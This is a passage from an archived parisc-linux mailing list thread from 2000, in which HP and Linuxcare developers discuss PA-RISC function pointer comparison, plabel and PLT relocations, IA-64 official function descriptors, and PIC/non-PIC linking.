
>Next, even if we *weren't* trapping we would still be doing the wrong
>thing, because $$sh_func_adrs is actually supposed to give us the
>address of the function's code, and it isn't going to do this since
>the function lives in a different space.
>
>In the case of sigaction() I think we actually want to compare the
>plabel value (rather than the code address) againsr SIG_IGN and
>SIG_DFL.  However there may be other cases where this will break.
>
>Yes this is yet another side effect of the broken PA-RISC run time
>architecture.

I'm deeply troubled to learn that Linux is using $$sh_func_adrs, as I 
will readily agree with you that it's seriously broken.

It was introduced as a way to compare function pointers reliably, but in 
fact accomplishes exactly the opposite. The problem is that our dynamic 
loader cannot guarantee that two function pointers that both refer to the 
same procedure will compare equal. Rather than fix the dynamic loader, we 
chose to modify the compilers to compare two function pointers by digging 
down into the function descriptor itself to see if they really refer to 
the same function. Unfortunately, not all data items typed as function 
pointers are really valid pointers, and they can't be dereferenced 
safely. Thus, the millicode routine uses the probe instruction to verify 
that the address can be dereferenced without causing a memory fault.

Of course, this isn't 100% reliable on HP-UX, either, since a probe 
failure doesn't mean that the address isn't mapped. It should also be a 
"probe,r" instead of "probe,w".

For Linux, I strongly recommend that the dynamic loader guarantee that 
there is a 1-1 mapping between function and function pointer. If you do 
this, you won't need this silly special case when comparing function 
pointers.

>What do the IA-64 people do about this problem?

On IA-64, the dynamic loader will maintain a 1-1 mapping.

-cary


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: 12 Sep 2000 17:22:42 -0400
Organization: Linuxcare, Inc.
Lines: 58
Approved: news@gmane.org
Message-ID: <878zsxmhjx.fsf@linuxcare.com>
References: <200009122054.NAA05612@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619122 3531 80.91.229.3 (22 Nov 2014 01:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:42 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>, Alan Modra <alan@linuxcare.com.au>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Tue Sep 12 15:48:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09021
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 15:48:53 -0600
Original-Received: (qmail 8544 invoked by uid 15267); 12 Sep 2000 21:49:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8528 invoked from network); 12 Sep 2000 21:49:18 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Sep 2000 21:49:18 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13YxVq-0007Ps-00; Tue, 12 Sep 2000 17:22:42 -0400
In-Reply-To: Cary Coutant's message of "Tue, 12 Sep 2000 13:54:42 -0700"
Original-Lines: 57
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7930

Cary Coutant <cary@cup.hp.com> writes:

> I wrote:
> >Yes this is yet another side effect of the broken PA-RISC run time
> >architecture.

Hm.  As it turns out it is not the kernel that changed but rather the
linker.  We had previously been generating dynamic procedure
descriptors for PLABEL32 relocations only in shared libraries, but
switched to generating PLT entries for all functions (even in non-PIC
objects, which is a bug) and then pointing the PLABEL32 relocations at
these slots.  Hence I'm forwarding this to Alan.

Of course we would have had the same problem if a shared library had
tried to pass the address of a global function to signal(2), so I
guess it's a good thing we caught it now :-)

> I'm deeply troubled to learn that Linux is using $$sh_func_adrs, as I 
> will readily agree with you that it's seriously broken.
>
> For Linux, I strongly recommend that the dynamic loader guarantee that 
> there is a 1-1 mapping between function and function pointer. If you do 
> this, you won't need this silly special case when comparing function 
> pointers.

I agree that this is a valid goal.  Unfortunately I believe we are
falling short of it at the moment and we'll have to make some fairly
large changes to the toolchain.  If you don't mind I've got a few
questions about how this is done:

It looks like the IA-64 runtime achieves this by generating official
procedure descriptors for every defined function in an object and
placing them in the .opd section, then using these descriptors
whenever the address of a function is taken.  Presumably external
functions are compared using their .IA_64.pltoff entries?  I'm not
clear on how that works and don't have an IA-64 handy to experiment.

I'm also confused about how this interacts with dynamic linking in
another case - from what I've seen the descriptors in .opd are never
relocated, so if a function ends up being bound to another dynamic
object (in the case of weak symbols in shared libraries this can
happen, and we've had to make some adjustments to our linker and
assembler to handle this case since GNU libc relies on this behaviour
in some fundamental ways), it would appear that the .opd entries
become bogus and the pltoff entry (or whatever) should be used
instead.  How does the IA-64 runtime handle this case?

Also I've noticed that GNU libc doesn't actually use the .opd or
.pltoff entries to resolve dynamic FPTR64 relocations but rather
builds FPTRs dynamically when it encounters them.  So the 1-1 mapping
isn't really upheld at all in some cases.

But then HP/UX probably does something else entirely :-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Wed, 13 Sep 2000 11:23:45 +1100 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009131032060.23150-100000@front.linuxcare.com.au>
References: <878zsxmhjx.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619122 3534 80.91.229.3 (22 Nov 2014 01:18:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:42 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 12 18:27:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA10530
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 18:27:44 -0600
Original-Received: (qmail 29213 invoked by uid 15267); 13 Sep 2000 00:28:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29202 invoked from network); 13 Sep 2000 00:28:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 00:28:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA25772;
	Wed, 13 Sep 2000 11:23:45 +1100
In-Reply-To: <878zsxmhjx.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7931

On 12 Sep 2000, David Huggins-Daines wrote:

> Cary Coutant <cary@cup.hp.com> writes:
> > For Linux, I strongly recommend that the dynamic loader guarantee that 
> > there is a 1-1 mapping between function and function pointer. If you do 
> > this, you won't need this silly special case when comparing function 
> > pointers.
> 
> I agree that this is a valid goal.  Unfortunately I believe we are
> falling short of it at the moment and we'll have to make some fairly
> large changes to the toolchain.

David, I think this is the reason we do actually need your dynamic fptr
code, or at least something like it that can sort through plt entries.
Currently, plabels go through the plt whenever dynamic sections are
involved.  However, there is a problem in that we are duplicating plt
entries between the application and shared libs, and I can't think of a
way the linker can avoid this given that we have to deal with weak
symbols.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Incompatibility of PIC and non-PIC
Date: Wed, 13 Sep 2000 11:30:18 +1100 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009131125280.23150-100000@front.linuxcare.com.au>
References: <200009122039.NAA04751@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619123 3536 80.91.229.3 (22 Nov 2014 01:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:43 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 12 18:30:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA10694
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 18:30:26 -0600
Original-Received: (qmail 31597 invoked by uid 15267); 13 Sep 2000 00:30:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31523 invoked from network); 13 Sep 2000 00:30:49 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 00:30:49 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA25984;
	Wed, 13 Sep 2000 11:30:18 +1100
In-Reply-To: <200009122039.NAA04751@adlmail.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7932

On Tue, 12 Sep 2000, Cary Coutant wrote:

> >Shared libraries work well, but we've got a bigger problem now.  Our
> >PIC and non-PIC code models are mutually incompatible in a big way
> >(due to the use of %r19 And, it seems, while it's fine if non-PIC
> >can't be used in shared libraries, it's not all right if PIC can't be
> >linked statically.
> > ...
> >For that matter how does 32-bit HP/UX solve this issue?
> 
> When the HP-UX linker is building an a.out, it converts any r19-relative 
> references into dp-relative references by rewriting the instructions. It 
> still creates a linkage table entry if necessary (i.e., it doesn't 
> rewrite a DLT-indirect reference as a direct dp-relative reference), but 
> the linkage table entries are accessed via the dp register instead of r19.

That's not too bad a hack.  I took a different approach and generate
import stubs when PIC code is detected during a static link.  David, is
there some problem with this (or was this a very old email that Cary was
replying to)?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Wed, 13 Sep 2000 11:59:28 +1100 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009131156110.23150-100000@front.linuxcare.com.au>
References: <873dj5mfmb.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619123 3539 80.91.229.3 (22 Nov 2014 01:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 12 19:00:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA11193
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 19:00:03 -0600
Original-Received: (qmail 24340 invoked by uid 15267); 13 Sep 2000 01:00:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24297 invoked from network); 13 Sep 2000 01:00:26 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 01:00:26 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA26566;
	Wed, 13 Sep 2000 11:59:28 +1100
In-Reply-To: <873dj5mfmb.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7933

On 12 Sep 2000, David Huggins-Daines wrote:

> Obviously that's wrong :-)
> 
> DYNAMIC RELOCATION RECORDS
> OFFSET   TYPE              VALUE 
> 00002bf8 R_PARISC_IPLT     *ABS*+0x00001270
> 00002bd8 R_PARISC_IPLT     __libc_start_main
> 00002be0 R_PARISC_IPLT     printf
> 00002c00 R_PARISC_IPLT     *ABS*+0x000019b4
> 00000000 R_PARISC_NONE     *ABS*
> 00000000 R_PARISC_NONE     *ABS*

Yeah, _any_ occurrence of a R_PARISC_NONE reloc indicates a linker bug.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Tue, 12 Sep 2000 18:05:38 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <200009130105.SAA19154@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619123 3542 80.91.229.3 (22 Nov 2014 01:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:43 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>, "Alan Modra" <alan@linuxcare.com.au>
To: "David Huggins-Daines" <dhd@linuxcare.com>
Original-X-From: cary@cup.hp.com  Tue Sep 12 19:05:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA11500
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 19:05:15 -0600
Original-Received: (qmail 28685 invoked by uid 15267); 13 Sep 2000 01:05:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28678 invoked from network); 13 Sep 2000 01:05:41 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 01:05:41 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id ECCC670; Tue, 12 Sep 2000 18:05:39 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA19154;
	Tue, 12 Sep 2000 18:05:38 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7934

>It looks like the IA-64 runtime achieves this by generating official
>procedure descriptors for every defined function in an object and
>placing them in the .opd section, then using these descriptors
>whenever the address of a function is taken.  Presumably external
>functions are compared using their .IA_64.pltoff entries?  I'm not
>clear on how that works and don't have an IA-64 handy to experiment.

I can't say for sure how Linux/IA-64 uses the .opd section, but the 
runtime and the psABI recommend that the "official" function descriptors 
be created by the dynamic loader as needed in response to dynamic FPTR 
relocations. A function pointer is always loaded from the GOT or from a 
statically-initialized variable, either of which would have been tagged 
with a dynamic FPTR relocation. The dynamic loader will allocate one and 
only one OFD for each function whose address is taken, and resolve each 
function pointer to the address of that OFD. Function pointers can then 
be compared as simple 32- or 64-bit quantities, without worrying about 
the contents of the function descriptor that they point to.

One way of avoiding the dynamic allocation by the dynamic loader is for 
the linker to allocate OFDs statically for each exported function, and 
for each hidden or static function whose address is taken. It looks like 
this may be what Linux is doing on IA-64. The disadvantage is that you 
end up with far more OFDs than you'll ever need, since few functions ever 
really have their addresses taken.

The .pltoff section is for local copies of OFDs that are used by inlined 
import stubs. When the compiler decides that a function is unlikely to 
resolve within the load module, it generates an inlined external call 
sequence, rather than rely on the linker to resolve a direct call to an 
import stub. This inlined sequence needs a local copy of the function 
descriptor to avoid an extra indirection. Since these function 
descriptors never serve as an official function descriptor, it doesn't 
matter that they don't have the same address as an OFD.

Note that the same argument applies to C++ vtables -- we can put copies 
of the function descriptors there, too, since we don't need the pointers 
to vtable entries to be unique.

As an aside, the problem we had on HP-UX/PA was in statically allocating 
the official function descriptors -- the linker allocated OFD 
"candidates" whenever it saw the address of a function get taken. This 
produced multiple candidates for the OFD, and it was possible that none 
of those candidates were actually in the load module where the function 
was defined. Thus, the loader had to choose one arbitrarily, and 
sometimes could be tricked into choosing different ones at different 
times. Hence the problem.

-cary


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Teaching the bootloader to grok ext2
Date: Mon, 29 Mar 1999 10:09:24 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <19990329100924.V30475@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619124 3547 80.91.229.3 (22 Nov 2014 01:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Mon Mar 29 10:09:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id KAA27660
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 10:09:30 -0500
Original-Received: (qmail 17754 invoked by uid 15267); 29 Mar 1999 15:08:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17747 invoked from network); 29 Mar 1999 15:08:05 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 15:08:05 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id KAA27650;
	Mon, 29 Mar 1999 10:09:24 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7935

So, I am told that the firmware has nice ways of telling me things
about the scsi disk geometry and fetching blocks and so on.  Would
someone be able to point me at the appropriate documentation, or at
least give me some general clue about how to go about this?  I'd like
to make the bootloader capable of fetching kernel images from an ext2
filesystem, which Chris and I agreed seems to be the Right Thing to
do.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: 12 Sep 2000 23:27:18 -0400
Organization: Linuxcare, Inc.
Lines: 30
Approved: news@gmane.org
Message-ID: <87its1km3t.fsf@linuxcare.com>
References: <200009130105.SAA19154@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619124 3553 80.91.229.3 (22 Nov 2014 01:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:44 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>, "Alan Modra" <alan@linuxcare.com.au>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Tue Sep 12 21:40:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA12295
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 21:40:21 -0600
Original-Received: (qmail 18316 invoked by uid 15267); 13 Sep 2000 03:40:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18308 invoked from network); 13 Sep 2000 03:40:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 03:40:46 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Z3Ci-0007W2-00; Tue, 12 Sep 2000 23:27:20 -0400
In-Reply-To: Cary Coutant's message of "Tue, 12 Sep 2000 18:05:38 -0700"
Original-Lines: 29
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7936

Cary Coutant <cary@cup.hp.com> writes:

> I can't say for sure how Linux/IA-64 uses the .opd section, but the 
> runtime and the psABI recommend that the "official" function descriptors 
> be created by the dynamic loader as needed in response to dynamic FPTR 
> relocations.

Ah, okay, that makes sense.  This is what Linux/IA-64 does - dynamic
FPTR relocations result in OFDs being created dynamically (always, for
both local and global symbols).  And yes, the code in GNU libc does
ensure that they are mapped one-to-one with symbols in each process.

As mentioned earlier we have been trying to decide whether to do this
on PA-RISC as well.  Originally I threw it in so that (you guessed it)
comparisons of function pointers with NULL would work properly :-)

But as Alan says, it looks like we need it for other reasons as well.

> One way of avoiding the dynamic allocation by the dynamic loader is for 
> the linker to allocate OFDs statically for each exported function, and 
> for each hidden or static function whose address is taken.

Hm.  I'm not nearly as familiar with the linker code as I am with the
dynamic linker code, so I'm not sure what it does.  But, as noted
above, GNU libc does dynamic allocation, so it's probably not relevant.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Incompatibility of PIC and non-PIC
Date: 12 Sep 2000 23:17:18 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87og1tkmkh.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0009131125280.23150-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619124 3554 80.91.229.3 (22 Nov 2014 01:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:44 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Tue Sep 12 21:43:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA12600
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 21:43:56 -0600
Original-Received: (qmail 20849 invoked by uid 15267); 13 Sep 2000 03:44:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20842 invoked from network); 13 Sep 2000 03:44:11 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 03:44:11 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Z330-0007W0-00; Tue, 12 Sep 2000 23:17:18 -0400
In-Reply-To: Alan Modra's message of "Wed, 13 Sep 2000 11:30:18 +1100 (EST)"
Original-Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7937

Alan Modra <alan@linuxcare.com.au> writes:

> That's not too bad a hack.  I took a different approach and generate
> import stubs when PIC code is detected during a static link.  David, is
> there some problem with this (or was this a very old email that Cary was
> replying to)?

Very old email, I think.  I don't see a problem with the way we do it
either, though.  Half dozen of one, six of the other...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Wed, 13 Sep 2000 15:06:16 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009131447590.613-100000@front.linuxcare.com.au>
References: <87its1km3t.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619125 3557 80.91.229.3 (22 Nov 2014 01:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:45 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep 12 22:11:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA13045
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Sep 2000 22:11:49 -0600
Original-Received: (qmail 9354 invoked by uid 15267); 13 Sep 2000 04:12:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9305 invoked from network); 13 Sep 2000 04:12:11 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 04:12:11 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA04733;
	Wed, 13 Sep 2000 15:06:16 +1100
In-Reply-To: <87its1km3t.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7938

On 12 Sep 2000, David Huggins-Daines wrote:

> Cary Coutant <cary@cup.hp.com> writes:
> 
> > One way of avoiding the dynamic allocation by the dynamic loader is for 
> > the linker to allocate OFDs statically for each exported function, and 
> > for each hidden or static function whose address is taken.
> 
> Hm.  I'm not nearly as familiar with the linker code as I am with the
> dynamic linker code, so I'm not sure what it does.  But, as noted
> above, GNU libc does dynamic allocation, so it's probably not relevant.

Well, I'm more familiar with the linker than the dynamic linker :)

The model I'm thinking of for elf32-hppa is along these lines:

o  The linker creates a plt entry for all plabel relocs.  plt entries for
   elf32-hppa are a function address, linkage table pointer pair, so
   there's no need for the dynamic linker to allocate fptrs.
o  A dynamic plabel reloc will have the function symbol, and an addend
   into the plt.  This is a rather unusual reloc because the function
   symbol value is ignored when calculating the final value.
o  The dynamic linker builds a list or hash table of function symbols
   versus plt offsets, and adjusts plabels so that only one plt entry is
   ever used per function.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp 715/50 questions
Date: Wed, 13 Sep 2000 02:35:58 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <39BF204E.CDD142A1@videotron.ca>
References: <Pine.LNX.4.10.10009121546470.5746-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619125 3562 80.91.229.3 (22 Nov 2014 01:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: "T. Martin" <catfish@alltel.net>
Original-X-From: james.waterhouse@videotron.ca  Wed Sep 13 00:37:05 2000
